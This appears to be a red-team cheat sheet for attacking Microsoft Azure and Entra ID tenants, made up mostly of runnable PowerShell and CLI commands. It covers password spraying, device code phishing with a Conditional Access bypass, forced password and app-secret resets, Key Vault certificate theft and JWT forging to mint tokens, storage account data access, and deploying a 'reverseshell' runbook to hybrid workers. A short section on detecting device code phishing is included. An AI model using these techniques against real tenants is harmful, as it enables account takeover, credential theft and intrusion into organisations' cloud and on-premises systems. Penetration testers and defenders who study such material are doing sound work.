Authentication
GUI
Dump tokens from browser
- Get a Graph Token: Connect to myapps.microsoft.com (opens in a new tab) then look for the token in the network tab. Make sure to turn on
preserve logoption. - Get an ARM Token: Connect to cosmos.azure.com (opens in a new tab).
CLI Tools
- Using username / app secret
# Connect to ARM
# for a normal user, It will open the authentication popup
Connect-AzZccount
# only use -serviceprincipal if you're connecting with a serviceprincipal/app
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant $tenant_id
# Connect to MG Graph
Connect-MgGraph -ClientSecretCredential $creds -TenantId $tenant_id
Get-MgContext- Using an access token
$GraphAccessToken = 'eyJ0...'
Connect-MgGraph -AccessToken ($GraphAccessToken | ConvertTo-SecureString -AsPlainText -Force)- Using a certificate
$AppCertificate=$[X509Certificate]$AppCertificate = Get-PfxCertificate -FilePath $full_path_to_cert.pfx
Connect-MgGraph -Certificate $AppCertificate -ClientId b1d10eb3-d631-499f-8197-f13de675904c -TenantId $tenant_id- Force change password for a user
# According to your role in Graph and Administrative unit role
$passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = '$New_P@ssw0rd'
}
Update-MgUser -UserId $target_user@$targetcorp.onmicrosoft.com -PasswordProfile $passwordProfile- Force change app secret for application/serviceprincipal
$passwordCred = @{
displayName = 'Added by Azure Service Bus - DO NOT DELETE'
endDateTime = (Get-Date).AddMonths(6)
}
Add-MgApplicationPassword -ApplicationId da53a80e-cb86-4158-96e1-7b19f7fec496 -PasswordCredential $passwordCredRecon
Tenant
-
Check if Azure tenant exists
Get XML response https://login.microsoftonline.com/getuserrealm.srf?xml=1&login==username@defcorp.onmicrosoft.com Get JSON Response https://login.microsoftonline.com/getuserreal.srf?json=1&login==username@defcorp.onmicrosoft.comResponse
<RealmInfo Success="true"> <State>4</State> <UserState>1</UserState> <Login>=something@defcorphq.onmicrosoft.com</Login> <NameSpaceType>Managed</NameSpaceType> <DomainName>defcorphq.onmicrosoft.com</DomainName> <IsFederatedNS>false</IsFederatedNS> <FederationBrandName>Defense Corporation</FederationBrandName> <CloudInstanceName>microsoftonline.com</CloudInstanceName> <CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri> </RealmInfo>Look for the
NameSpaceTypeattribute:Managed--> means It doesn't use Federated servicesADFSUnknown--> means tenant doesn't exist.
-
Get the tenant Information
Visit
# Get tenant id
https://login.microsoftonline.com/defcorp.onmicrosoft.com/.well-known/openid-configurationEmails
# Enumerate Email IDs by making requests to the `GetCredentialType` API
python.exe o365creeper.py -f emails.txt -o validemails.txtServices
# Enumerates subdomains by subdomain guessing
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base defcorphq -VerboseInitial Access
Password Spray & Bruteforce
Against the exchange service
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password P@ssw0rd -Threads 15 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password P@ssw0rd -Threads 15 -OutFile sprayed-ews-creds.txtDevice Code Phishing
- Generate device_code
Powershell
# This is a microsoft office client_id $ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # This is all permissions scope # offline_access scope gives us a refresh_token for longer access time $Scope=".default offline_access" $GrantType = "urn:ietf:params:oauth:grant-type:device_code" $body = @{ "client_id" = $ClientID "scope" = $Scope } $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body Write-Output $authResponse - The response contains some parameterse. most important ones are
user_code,device_codeandverification_uri. - Request tokens using the device_code
Powershell
$body=@{ "client_id" = $ClientID "grant_type" = $GrantType "code" = $authResponse.device_code } $Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue $GraphAccessToken = $Tokens.access_token
This attack has a single limitation which is that the verification_uri is only valid for 15 minutes. We can bypass that using:
Dynamic Device Code Phishing: + FOCI Family Of Client IDs
-
- In this attack we will send a link to the user that generates the
user_codeonce the user clicks on it. so now the timer will start by user clicking the link. We will need: - Storage account to:
- Host the static website (The website that will be sent to the user as a phishing link)
- Store the tokens after being fetched by the Aunction App.
- App Service: To host CORS Anywhere (opens in a new tab) application to bypass CORS limitations of Azure
- Function App:
- Request the tokens and store them in the storage account.
- In this attack we will send a link to the user that generates the
-
Leverege FRT and FOCI
Defending against Device Code Phishing: Detection:
- the attacker IP and Device that is logged in Entra ID Sign-in logs - as the authentication is initiated from there!
- Look at User sign-ins with Authentication Protocol: Device Code. Prevention:
- Using Condition Access policies:
- Location based Conditional Access Policy.
- Device Code Authentication Flow Conditional Access Policy. (Allow or Block) device code flow for any Identity.
Lateral movement
Hybrid connection
- Check if the machine is joined to Azure AD
Powershell
dsregcmd /status - Check if
OnPremisesSyncEnabledfor an EntraID userPowershellConnect-MgGraph -AccessToken ($GraphAccessToken | ConvertTo-SecureString -AsPlainText -Force) Get-MGUser -UserId 'user@domain.onmicrosoft.com' -Property UserPrincipalName, OnPremisesSyncEnabled,OnPremisesSyncDateTime | Select UserPrincipalName, OnPremisesSyncEnabled,OnPremisesSyncDateTime
Token Extraction
From Office365 Apps
.\AzTokenFinder.exe --mode online --processname winwordServices
Usually we use AzureAD Module or AZ Powershell to interact with Azure AD
Graph
Users
# Enumerate all users
Get-AzureADUser -All $true
# Enumerate a specific user
Get-AzureADUser -ObjectId 'test@defcorphq.onmicrosoft.com'
# Search for a user based on string in first characters of DisplayName or userPrincipalName (wildcard not supported)
Get-AzureADUser -SearchString "admin"
Get-AzureADUser -All $ |?{$_.Displayname -match "admin"}
# List all attributes for a user
Get-AzureADUser -ObjectId 'test@defcorphq.onmicrosoft.com' | fl *
# Search attributes for all users that contain the string "password"
Get-AzureADUser -All $true|%{$Properties = $_;$Properties.PSObject.Properties.Name |${if ($Properties.$_ -match 'password'){"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users who are synced from on prem
Get-AzureADUser -All $true |? {$_.OnPremisesSecurityIdentifier -ne $null}
# All users who are synced from AzureAD
Get-AzureADUser -All $true |? {$_.OnPremisesSecurityIdentifier -eq $null}
# Objects created by any user (use -ObjectId for a specific user)
Get-AzureADUser | Get-AzureADUserCreatedObjectGroups
# Enumerate a group with a group id
Get-MgGroup -GroupId 9d99db17-6d49-4c70-ac44-ed4280f91814 | fl
# List group members
Get-MgGroupMember -GroupId 9d99db17-6d49-4c70-ac44-ed4280f91814 | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl
# List groups a user is a member of
(Get-MgUserMemberOf -UserId explorationsyncuser1@oilcorporation.onmicrosoft.com).AdditionalProperties
# Add a user to a group
New-MgGroupMember -GroupId 91f7bfb1-b326-4376-8953-5d6d9b44e443 -DirectoryObjectId $user_account_id -VerboseAdministrative Units
# Enumerate the administrative unit
Get-MgDirectoryAdministrativeUnit -AdministrativeUnitId 8355e587-6e2a-4e4c-8ebd-438e37576486 |fl
# List members of an administrative unit
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId 8355e587-6e2a-4e4c-8ebd-438e37576486 | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | flRoles
# Get role RoleDefinition
# Gets more info / Description about the role
Get-AzRoleDefinition -Name "Role Display Name"Devices
# List Registered owners of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
# Get all Azure joined and registered devices
Get-AzureADDevice -All $true | fl *
# Get the device configuration object (note the RegistrationQuota in the output)
Get-AzureADDeviceConfiguration | fl *
# List Registered users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
# List devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
# List devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
# List devices managed using Intune
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
# List devices that are compliant
Get-AzureADDevice -All $true | ? { $_.IsCompliant -eq "True" }Applications
- Applications Enumeration
# List all applications in Entra ID
Get-MgApplication -All- Check if any application has client secret or certificates
$URI = "https://graph.windows.net/v1.0/Applications"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $GraphAccessToken"
}
}
$Applications = (Invoke-RestMethod @RequestParams).value
$ApplicationsDetails = [PSCustomObject]@{
Applications = @()}
foreach($Application in $Applications)
{
$applicationObject = [PSCustomObject]@{
DisplayName = $Application.displayName
AppId = $Application.appId
CreatedDateTime = $Application.createdDateTime
ID = $Application.id
keyCredentials = $Application.keyCredentials
passwordCredentials = $Application.passwordCredentials
}
$ApplicationsDetails.Applications += $applicationObject
}
$ApplicationsDetails.Applications
# Save output to a file for later use
$ApplicationsDetails.Applications | Export-Clixml -Path .\Applications.xmlService Principals
# Get roles assigned to a service principal in the EntraID / Graph
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq 'cddece96-16c9-4c93-9c9d-97c96f98be1d'" | ForEach-Object {
$roleDef = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $_.RoleDefinitionId
[PSCustomObject]@{
RoleDisplayName = $roleDef.DisplayName
RoleId = $roleDef.Id
DirectoryScopeId = $_.DirectoryScopeId
}
} | Select-Object RoleDisplayName, RoleId, DirectoryScopeId | fl
# Get which member of the Administrative Unit the service principal has "specific Role" on
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId b14fcc2e-7a5a-4935-b4a5-835fd8018efe -All | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl
# Get owned objectec by serviceprincipalsecret
Get-MgServicePrincipalOwnedObject -ServicePrincipalId $serviceprincipal_id | select Id, @{Name='displayName';Expression={$_.AdditionalProperties.displayName}},@{Name='ObjectTyoe';Expression={$_.AdditionalProperties.'@odata.type'}} | fl
# Get roles assigned to the service principal in ARM / Named App role assignment
$serviceprincipal_id = "$serviceprincipal_id"
# Get AppRoleAssignments for the target SP
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId
foreach ($assignment in $assignments) {
# Get the resource service principal (the one that defines the role)
$resourceSp = Get-MgServicePrincipal -ServicePrincipalId $assignment.ResourceId
# Resolve AppRole using AppId
$appRole = (Get-MgServicePrincipal -Filter "appId eq '$($resourceSp.AppId)'").AppRoles | Where-Object {
$_.Id -eq $assignment.AppRoleId
}
# Output full assignment + resolved role
$appRole | format-list
}
# Enumerate Service Principals (visible as Enterprise Applications in Azure Portal).
# A Service Principal is the local representation of an app in a specific tenant.
# It is the security object that can be assigned Azure roles (acts like a "service account").
# Get all service principals
Get-AzADServicePrincipal
# Get all details about a specific service principal
Get-AzADServicePrincipal -ObjectId cdddd16e-2611-4442-8f45-053e7c37a264 | fl *
# Get service principals where the display name matches "app"
Get-AzADServicePrincipal | ? { $_.DisplayName -match "app" }CAPs
# Enumerate CAP
# MG Module
Get-MgIdentityConditionalAccessPolicy | fl
# Get all attributes of a CAP
# We should be looking for excluded applications / Groups / ... etc so we can bypass the CAP
Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAP_id |ConvertTo-Json
# If we have execluded applications (portal,devops,.. etc) we can use devicecode authorization flow to bypass the OTP
# U can change the $clientid based on the execluded applications
$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"
$Scope = "https://management.azure.com/.default"
$body = @{
"client_id" = $ClientID
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body
$authResponse
# Now get a token using that device Code
$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinueTAP
# Check if TAP is enabled
(Get-MgPolicyAuthenticationMethodPolicy).AuthenticationMethodConfigurations
# Get more info about TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties
# What users/groups can use TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties.includeTargets
# Request a TAP for a user
$properties = @{}
$properties.isUsableOnce = $True
$properties.startDateTime = (Get-Date)
$propertiesJSON = $properties | ConvertTo-Json
New-MgUserAuthenticationTemporaryAccessPassMethod -UserId username@domain.onmicrosoft.com -BodyParameter $propertiesJSON | flARM
List all subscriptions with ARM or Microsoft Graph
$Token = 'eyJ0eXAi..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
Authorization = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).valueRoles
We should enumerate the role assignments on Azure Resources.
Get-AzRoleAssignmentKeyVaults
Depending on the permissions we have on a keyvault, will determine what can we do with stored credentials:
- If user has
/vaults/secrets/getsecret/action--> we can dump the certificate - If user hsa
vaults/keys/sign/action--> we can use the key to sign a JWT assertion, but can't dump the certificate
- Enumerate permissions on a keyvault
# Enumerate permissions on the keyvault using the ARM API.
# Retrieve KeyVault object (specify name or other params if needed)
$KeyVault = Get-AzKeyVault
# Get current subscription ID
$SubscriptionID = (Get-AzSubscription).Id
$ResourceGroupName = $KeyVault.ResourceGroupName
$KeyVaultName = $KeyVault.VaultName
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.KeyVault/vaults/$KeyVaultName/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Access_Token" # Ensure $Access_Token is set before running
}
}
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions | Format-List *- Request access token for KeyVault data plane
# Get Access Token for KeyVault data plane using the keyvault API and a certificate
$KeyVaultToken = New-AccessToken -clientCertificate $clientCertificate -tenantID d6bd5a42-7c65-421c-ad23-a25a5d5fa57f -appID 2b7c28bd-def1-415a-b407-41627de6e8f1 -scope 'https://vault.azure.net/.default'- Depending on permissions:
-
If user can dump certificate:
Powershell# Get name of the certificate (Get-AzKeyVaultCertificate -VaultName $vault_name).Name # Extractcertificate from keyvault secret $secret = Get-AzKeyVaultSecret -VaultName $vault_name -Name appcert -AsPlainText # Convert from base64 encoded string $secretByte = [Convert]::FromBase64String($secret) # Write the certificate to a file [System.IO.File]::WriteAllBytes(".\Appcert.pfx", $secretByte) # Load the certificate $cert=[System.Security.Cryptography.X509Certificates.X509Certificate2]::new("full_path\cert.pfx") # certificate to access_token . .\New-AccessToken.ps1 New-AccessToken -clientCertificate $clientCertificate -tenantID d6bd5a42-7c65-421c-ad23-a25a5d5fa57f -appID 2b7c28bd-def1-415a-b407-41627de6e8f1 -scope 'https://management.azure.com/.default' -
If user can only sign with the certificate but can't dump it
JWT Assertion Create signed JWT with a certificate from inside a KeyVault
function KeyVaultToSignedJWT {
param(
[Parameter(Mandatory=$true)]
[string]$AccessToken,
[Parameter(Mandatory=$true)]
[string]$VaultName,
[Parameter(Mandatory=$true)]
[string]$AppId,
[string]$Audience = 'https://login.microsoftonline.com/common/oauth2/token',
# Optional filter to pick a specific certificate by name substring
[string]$CertificateNameContains,
# API versions (override only if needed)
[string]$CertificatesApiVersion = '7.4',
[string]$SignApiVersion = '7.3'
)
function Convert-ToBase64Url([byte[]]$bytes) {
$b64 = [Convert]::ToBase64String($bytes)
$b64 = $b64.TrimEnd('=').Replace('+','-').Replace('/','_')
return $b64
}
$headers = @{ Authorization = "Bearer $AccessToken" }
$baseUri = "https://$VaultName.vault.azure.net"
# 1) List certificates (with paging)
$listUri = "$baseUri/certificates?api-version=$CertificatesApiVersion"
$selected = $null
while ($listUri -and -not $selected) {
$listResponse = Invoke-RestMethod -Method GET -Uri $listUri -Headers $headers -ContentType 'application/json'
$items = $listResponse.value
if ($CertificateNameContains) {
$items = $items | Where-Object { $_.id -like "*$CertificateNameContains*" }
}
$selected = $items | Select-Object -First 1
if (-not $selected -and $listResponse.nextLink) {
$listUri = $listResponse.nextLink
} else {
$listUri = $null
}
}
if (-not $selected) {
if ($CertificateNameContains) {
throw "No certificates found in vault '$VaultName' that match '$CertificateNameContains'."
} else {
throw "No certificates found in vault '$VaultName'."
}
}
# Extract certificate object name from the id segment after 'certificates/'
$segments = ([Uri]$selected.id).Segments | ForEach-Object { $_.TrimEnd('/') } | Where-Object { $_ }
$certIndex = [Array]::IndexOf($segments, 'certificates')
$certName = if ($certIndex -ge 0 -and $segments.Length -gt ($certIndex + 1)) { $segments[$certIndex + 1] } else { $null }
# 2) Fetch certificate details to obtain 'kid'
$detailsUri = "$($selected.id)?api-version=$CertificatesApiVersion"
$certDetails = Invoke-RestMethod -Method GET -Uri $detailsUri -Headers $headers -ContentType 'application/json'
if (-not $certDetails.kid) {
throw "Certificate '$certName' does not contain a 'kid'. Ensure the certificate has an associated Key Vault key."
}
# 3) Build JWT (valid for 2 minutes)
$epochStart = (Get-Date "1970-01-01T00:00:00Z").ToUniversalTime()
$now = (Get-Date).ToUniversalTime()
$exp = [math]::Round((New-TimeSpan -Start $epochStart -End $now.AddMinutes(2)).TotalSeconds, 0)
$nbf = [math]::Round((New-TimeSpan -Start $epochStart -End $now).TotalSeconds, 0)
$jwtHeader = @{
alg = 'RS256'
typ = 'JWT'
x5t = $selected.x5t
}
$jwtPayload = @{
aud = $Audience
exp = $exp
iss = $AppId
jti = [guid]::NewGuid().ToString()
nbf = $nbf
sub = $AppId
}
$headerJson = ($jwtHeader | ConvertTo-Json -Compress)
$payloadJson = ($jwtPayload | ConvertTo-Json -Compress)
$b64uHeader = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($headerJson))
$b64uPayload = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($payloadJson))
$unsignedJwt = "$b64uHeader.$b64uPayload"
$unsignedJwtBytes = [System.Text.Encoding]::UTF8.GetBytes($unsignedJwt)
# SHA256 hash → base64url
$hasher = [System.Security.Cryptography.HashAlgorithm]::Create('sha256')
$jwtSha256Hash = $hasher.ComputeHash($unsignedJwtBytes)
$jwtDigestB64u = Convert-ToBase64Url $jwtSha256Hash
# 4) Sign using Key Vault key (kid)
$signUri = "$($certDetails.kid)/sign?api-version=$SignApiVersion"
$signBody = @{
alg = 'RS256'
value = $jwtDigestB64u
} | ConvertTo-Json -Compress
$signHeaders = @{
Authorization = "Bearer $AccessToken"
'Content-Type' = 'application/json'
}
$signResponse = Invoke-RestMethod -Uri $signUri -Method POST -Headers $signHeaders -Body $signBody -ContentType 'application/json'
$signatureB64 = $signResponse.value
$signatureB64u = $signatureB64.Replace('+','-').Replace('/','_').TrimEnd('=')
$signedJwt = "$unsignedJwt.$signatureB64u"
# Output composite result
[pscustomobject]@{
SignedJwt = $signedJwt
CertificateName = $certName
X5t = $selected.x5t
Kid = $certDetails.kid
CertificateDetails = $certDetails
}
} $signed_jwt = KeyVaultToSignedJWT -AccessToken $keyvault_access_token -VaultName 'appvault_name' -AppId 'f23a808b-6a01-4fb2-bfd9-bdb3e8390421'- Use the signed JWT token to request an ARM access token
Powershell
$uri = "https://login.microsoftonline.com/d6bd5a42-7c65-421c-ad23-a25a5d5fa57f/oauth2/v2.0/token" $headers = @{'Content-Type' = 'application/x-www-form-urlencoded'} $response = Invoke-RestMethod -Uri $uri -UseBasicParsing -Method POST -Headers $headers -Body ([ordered]@{ 'client_id' = $AppID 'client_assertion' = $signed_jwt.signedjwt 'client_assertion_type' = 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer' # change scope based on the resource you want # 'scope' = 'https://storage.azure.com/.default' 'scope' = 'https://management.azure.com/.default' 'grant_type' = 'client_credentials' }) $token = $response.access_token $token
Storage Accounts
# Microburst
# Look for storage blobs configured with public access
Invoke-EnumerateAzureBlobs -base mycorp
# We can access the files using their URL/file_name
# We can use SAS URLs with Storage Explorer-
Get exact permissions on a storage account
Powershell$URI = 'https://management.azure.com/subscriptions/3604302a-3804-4770-a878-5fc5c142c8bc/resourceGroups/Exploration/providers/Microsoft.Storage/storageAccounts/oildatastore/providers/Microsoft.Authorization/permissions?api-version=2022-04-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $access_token" } } $DataAnalyticsPermissions = (Invoke-RestMethod @RequestParams).value $DataAnalyticsPermissions | fl * -
List containers in a storage account
Powershell# Get the list of files present in the storage account. $URL = "https://$storageaccount_name.blob.core.windows.net/?comp=list" $Params = @{ "URI" = $URL "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $AppStorageToken" "x-ms-version" = "2017-11-09" "accept-encoding" = "gzip, deflate" } } $Result = Invoke-RestMethod @Params -UseBasicParsing $Result -
List files inside a container
Powershell$URL = "https://$storageaccount_name.blob.core.windows.net/$container_name?restype=container&comp=list" $Params = @{ "URI" = $URL "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $AppStorageToken" "x-ms-version" = "2017-11-09" "accept-encoding" = "gzip, deflate" } } $XML=Invoke-RestMethod @Params -UseBasicParsing #Remove BOM characters and list Blob names $XML.TrimStart([char]0xEF,[char]0xBB,[char]0xBF) | Select-Xml -XPath "//Name" | foreach {$_.node.InnerXML} -
Read a file from a storage account container
Powershell$URL = "https://$storageaccount_name.blob.core.windows.net/$container_name/$file_name.txt" $Params = @{ "URI" = $URL "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $AppStorageToken" "x-ms-version" = "2017-11-09" "accept-encoding" = "gzip, deflate" } } Invoke-RestMethod @Params -UseBasicParsing -
Add tags to a file
Powershell$URL = "https://$datastore_name.blob.core.windows.net/$container_name/$file_name?comp=tags" $Params = @{ "URI" = $URL "Method" = "PUT" "Headers" = @{ "Content-Type" = "application/xml; charset=UTF-8" "Authorization" = "Bearer $storage_token" "x-ms-version" = "2020-04-08" } } $Body = @" <?xml version="1.0" encoding="utf-8"?> <Tags> <TagSet> <Tag> <Key>$tag_name</Key> <Value>$tag_value</Value> </Tag> </TagSet> </Tags> " Invoke-RestMethod @Params -UseBasicParsing -Body $Body
Automation Accounts
# List automation accounts
az extension add --upgrade -n automation
az automation account list
# Check if the automation account is using a hybrid worker group. Will allow us to execute commands on on-prem machine
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering
# Import a powershell script into the runbook
Import-AzAutomationRunbook -Name reverseshell -Path .\reverse-shell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose
# Publish the runbook
Publish-AzAutomationRunbook -RunbookName reverseshell -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
# Start the runbook
Start-AzAutomationRunbook -RunbookName reverseshell -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -VerboseLogic apps
# Get the logicapp resourceID
get-azresource
# Get an access token
$workflow_access_token = (get-azaccesstoken).token
# # List permissions on a logicapp workflow
$URI = "https://management.azure.com/$resource_id/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $accesstoken"
}
}
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions.actions
# Check for logic app HTTP trigger
Get-AzLogicAppTriggerCallbackUrl -TriggerName manual -Name $logic_app_name -ResourceGroupName $res_group_name
# Read the logic app definition
(Get-AzLogicApp -Name $logicapp_name).DefinitionEnumeration with GUI tools
ROADTools (opens in a new tab)
# Authentication (It supports username, password, access tokens, device code flow, refresh tokens, , PRT)
roadreconauth -u test@mycorp.onmicrosoft.com -p P@ssw0rd
roadrecon gather
roadrecon guiPersistence
MFA Bypasses
- Every MFA other than Phishing-resistant MFA - FIDO2 keys, Windows Hello and Certificate-based authentication - can be bypassed.
- Detect if MFA is enforced
SMTP
- Because SMTP is a legacy protocol, MFA can't be configured on it. and It can be used with Azure. So if a user's creds got comprimised. We can send emails with his account without MFA.